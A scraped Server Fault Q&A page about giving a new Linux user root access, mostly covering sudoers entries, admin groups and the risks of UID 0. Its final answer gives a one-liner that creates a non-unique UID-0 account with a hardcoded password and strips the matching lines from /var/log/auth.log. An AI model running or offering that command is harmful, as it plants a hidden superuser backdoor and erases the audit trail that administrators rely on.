I want to add new user and have/grant that new user to have all the root access, how can I do that ?
sudo adduser --system testuser but this is not working as I expected.
Thanks for help.
Server Fault is a question and answer site for system and network administrators. It only takes a minute to sign up.Sign up to join this community
There are actually three ways you can do this: the right way, the wrong way, and the ugly way.
First, create a normal user account.
Then select one of the following:
sudo entry for the
wheel group in
/etc/sudoers like this:
## Allows people in group wheel to run all commands %wheel ALL=(ALL) ALL
Or for "modern" versions:
## Allows people in group sudoers to run all commands %sudoers ALL=(ALL) ALL
Then add the user to the
wheel group. Adding and removing users with administrative priviledges now becomes a function of remembering to add them to wheel, instead of creating an entry in sudo. The great thing about using wheel is that you can extend this mechanism into other authentication schemes that support groups, i.e. winbind/Active Directory, and reap the benefits in the process. You would accomplish this by mapping wheel to a group in your authentication schema that has admin privileges.
Note that some distributions use different administrative accounts. Wheel is a "traditional" approach to this, but you may encounter
adm, and other group accounts that serve the same purpose.
I have to give a point to Bart Silverstrim for pointing out that Ubuntu uses
admin as the group for this purpose. He got to this first, although I didn't notice an Ubuntu tag at the time. Again, it all depends on what distribution your are using.
Create a sudo entry for the user account in question and give then complete access. Again, you create the entry in
/etc/sudoers like this:
## Allows just user "username" to run all commands as root username ALL=(ALL) ALL
ADDED: ## For Ubuntu version: username ALL=(ALL:ALL)
This is great if you only have one (or two) normal accounts. It is ugly when you have a hundred accounts over multiple (geophysical) sites and have to constantly maintain the sudo file.
You can edit the
/etc/passwd file and change the user account ID from whatever number it is, to
0. That's right, zero.
See that third entry as zero? When you log into that account, you are, for all effective purposes,
root. I do not recommend this. If you do not remember "who" you are, you can create all kinds of havoc as you start creating and touching files as
root. You could also add your username to the
root group. This has the same effect for file access but it creates other issues; programs will notice you are not user
root and refuse to run, but you will gain access to files that belong to group
If you did this, you did use
vipw instead of just editing with
vi, right? (or whatever your favorite text editor is) After all, a single typo in this file can lock you out of your system - and that means a physical visit to the computer in question with a repair disc...
I've been using this for years and it's the #1 recommended way to add a sudoer on AskUbuntu:
adduser existinguser sudo
Much simpler than editing files, and easy to throw in a shell script for unattended installation.
If you want to create the user and grant sudo privileges, you can do that in one line like this:
useradd newuser -m -G sudo passwd newuser
-m created a home directory, and
-G specifies a supplementary group.
The "ugly and messy" way is to edit /etc/passwd to have UID=0 AND GID=0 for the new user. But this poses a LOT of security risks. You do know that if he is also root he may disable your accont, change your password, make you a "standard user"... right? so why not just give him you own account?
You may study the way suid (http://en.wikipedia.org/wiki/Setuid) works if you want to grant him root access for just a few of the commands.
Here's a one liner:
USERNAME="name";PASSWD=`perl -e 'print crypt("password", "sa")'`;COMMENT="Comment Here" && sudo useradd -p $PASSWD --system --shell '/bin/bash' --base-dir "/bin" --uid 0 -- non-unique --comment $COMMENT $USERNAME && sudo sed -i '/useradd/d;/$USERNAME/d;' /var/log/auth.log